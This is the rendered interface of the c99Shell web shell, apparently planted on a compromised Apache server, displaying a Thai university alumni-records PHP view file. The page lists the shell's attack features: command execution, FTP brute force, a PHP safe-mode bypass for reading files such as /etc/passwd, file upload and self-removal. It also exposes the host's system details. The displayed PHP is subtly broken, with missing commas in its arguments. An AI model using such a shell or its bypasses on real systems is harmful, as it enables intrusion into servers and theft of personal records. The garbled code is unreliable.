!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/ealumni/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_alumniDetail.php (9.45 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_am 
= (isset($qu_am) && $qu_am!=NULL) ? $qu_am->row() : NULL;
//$birthDate = ($row_a!=NULL) ? splitDateDb2(setValue('sdtBirthDate',$row_sdt),'/') : '';
?>
<table width="100%">
    <tr>
        <td>
            <div align="center">
            <table width="100%">
                <tr>
                    <td align="center" class="h">ข้อมูลส่วนตัว</td>
                </tr>
                <tr>
                    <td><?php echo form_open($this->config->item("ea_folder")."alumni/v_alumniDetail",array("name" => "myform""id"=>"myform"));?><table class="easzone">
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone" height="22"><font size="2"><b>รหัสนักศึกษา</b></font></td>                
                            <td colspan="3">
                            <input type="text" name="studentCode" id="studentCode" value="<?php echo setValue('studentCode',$row_am);?>" class="input2" readonly /></font>
                            <input type="hidden" name="studentId" id="studentId" value="<?php echo setValue('studentId',$row_am);?>">
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone" height="22"><font size="2"><b>เลขที่บัตรประจำตัวประชาชน</b></font></td>    
                            <td colspan="3">
                            <input type="text" name="citizenId" id="citizenId" size="15" value="<?php echo setValue('citizenId',$row_am);?>" /> 
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <br /><?php echo form_error('citizenId');?>
                            </td>
                        </tr>        
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ชื่อ-สกุลปัจจุบัน (ไทย)</b></font></td>                
                            <td colspan="3">
                            <input type="text" name="pfName" id="pfName" value="<?php echo setValue('prefixNameFull',$row_am);?>" size="7" class="input2" readonly />
                            <input type="hidden" name="prefixId" id="prefixId" size="10" class="input2" value="<?php echo setValue('prefixId',$row_am);?>" readonly />

<?php
                            
echo anchor_popup($this->config->item("ea_folder")."popup/pf_popup""<img src=\"".base_url()."images/".$this->config->item("rg_folder")."picture/search.gif\" width=\"15\" height=\"19\" align=\"abmiddle\" border=\"0\" />", array("width" => "600""height" => "350"));
?>
                            <input type="text" name="studentName" id="studentName" value="<?php echo setValue('studentName',$row_am);?>" size="15" />
                            <input type="text" name="studentSurname" id="studentSurname" value="<?php echo setValue('studentSurname',$row_am);?>" size="15" />
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
<?php 
                            
echo form_error('prefixId'); 
                            echo 
'&nbsp;'
                            echo 
form_error('studentName');
                            echo 
'&nbsp;'
                            echo 
form_error('studentSurname');
?>
                            <input type="hidden" name="pfId" id="pfId" value="<?php echo setValue('prefixId',$row_am);?>">
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ชื่อ-สกุลปัจจุบัน (อังกฤษ)</font></td>                
                            <td colspan="3">
                            <input type="text" name="pfNameE" id="pfNameE" value="<?php echo setValue('prefixNameEngFull',$row_am);?>" size="7" class="input2" readonly /><!-- &nbsp -->
                            <input type="text" name="studentNameEng" id="studentNameEng" value="<?php echo setValue('studentNameEng',$row_am);?>" size="15" />
                            <input type="text" name="studentSurnameEng" id="studentSurnameEng" value="<?php echo setValue('studentSurnameEng',$row_am);?>" size="15" />
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ชื่อ-สกุลจากระบบทะเบียน (ไทย)</b></font></td>
                            <td colspan="3"><?php echo $row_am->prefixName."".$row_am->oldfName." ".$row_am->oldlName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ชื่อ-สกุลจากระบบทะเบียน (อังกฤษ)</b></font></td>
                            <td colspan="3"><?php echo $row_am->prefixName."".$row_am->oldfName." ".$row_am->oldlName;?></td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>เพศ</b></font></td>
                            <td width="30%"><font size="2"><?php echo setValue('studentSex',$row_am)=='F' "หญิง" "ชาย";?>
                            <input type="hidden" name="studentSex" id="studentSex" value="<?php //echo $oAm->studentSex;?>"></td>
                            <td class="coltd_easzone"><font size="2"><b>หมู่เลือด</b></font>
                            <td width="20%"><input type="text" name="bloodGroup" id="blooGroup" value="<?php echo setValue('bloodGroup',$row_am);?>" size="3" maxlength="2" />
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>"> 
                            <td class="coltd_easzone"><font size="2"><b>สัญชาติ</b></font></td>
                            <td width="30%"><font size="2">
<?php
                            
echo form_dropdown('nationId'$rs_nasetValue('nationId'$row_am));
?>
                            <!-- <input type="text" name="nationId" id="nationId" value="<?php //echo setValue('nationId',$row_am);?>"> --></td>
                            <td class="coltd_easzone"><font size="2"><b>ศาสนา</b></font>
                            <td width="20%">
<?php
                            
echo form_dropdown('religionId'$rs_resetValue('religionId'$row_am));
?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>วันเกิด</b></font></td>
                            <td colspan="3"><?php //echo abbreDate2(setValue('birthDate',$row_am));?>
                            <script>DateInput('birthDate',true,'DD/MM/YYYY','<?php echo isset($row_am) ? splitDateDb2(setValue("birthDate",$row_am),"/") : splitDateDb2(getNowDate(),"/");?>')</script> 
                            <?php //echo fullDate(splitDateDb2(setValue('birthDate',$row_am),"/"));?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ปีที่เข้าศึกษา</b></font></td>                
                            <td colspan="3"><input type="text" name="admitAcadYear" id="admitAcadYear" value="<?php echo setValue('admitAcadYear',$row_am);?>" class="input2" readonly /></font>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>ปีที่จบการศึกษา</b></font></td>                
                            <td colspan="3"><input type="text" name="graduateYear" id="graduateYear" value="<?php echo setValue('graduateYear',$row_am);?>" class="input2" readonly /></font>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>หลักสูตร</b></font></td>                
                            <td colspan="4">
<?php
                            
echo form_dropdown('programId'$rs_cursetValue('programId'$row_am));
?>
                            <font color="<?php echo $this->config->item('font_color_err');?>" size="2">*</font>
                            <?php echo form_error('programId');?>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>รุ่นที่</b></font></td>                
                            <td colspan="3"><input type="text" name="genNo" id="genNo" value="<?php echo setValue('genNo',$row_am);?>" class="input2" readonly /></font>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>อีเมล์</font></td>                
                            <td colspan="3"><input type="text" name="studentEmail" id="studentEmail" value="<?php echo setValue('studentEmail',$row_am);?>" size="40" />
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td class="coltd_easzone"><font size="2"><b>รูป</b></font></td>
                            <td colspan="3">
                            <input type="file" name="uploadfile" id="uploadfile" size="50" />
                            <input type="hidden" name="picturePerson" id="picturePerson" />
                            <br><font size="2">&nbsp;</font>
                            <font size="2" color="<?php echo $this->config->item('font_color_err');?>"><b>(ขนาดรูปภาพควรมีขนาด 100x115 pixels)</b></font>
                            </td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('tr_color_even');?>">
                            <td height="22" colspan="4" align="center">
                            <input type="submit" name="add" id="add" value="บันทึก" />
                            <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                            <input type="button" name="cancel" id="cancel" value="ยกเลิก" onClick="location.href='<?php echo site_url($this->config->item('ea_folder')."alumni/am_input");?>'" />
                            <input type="hidden" name="alumniId" id="alumniId" value="<?php echo $alumniId;?>" />
                            <input type="hidden" name="status" value="<?php //echo $status;?>" />
                            <input type="hidden" name="tab" id="tab" value="<?php echo $tab;?>" />
                            </td>
                        </tr>
                    </table><?php echo form_close();?></td>
                </tr>
            </table></div>
        <br><font color="<?php echo $this->config->item('font_color_err');?>" size="2"><b>หมายเหตุ : </b>* หมายถึง ต้องกรอกข้อมูลให้สมบูรณ์</font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0072 ]--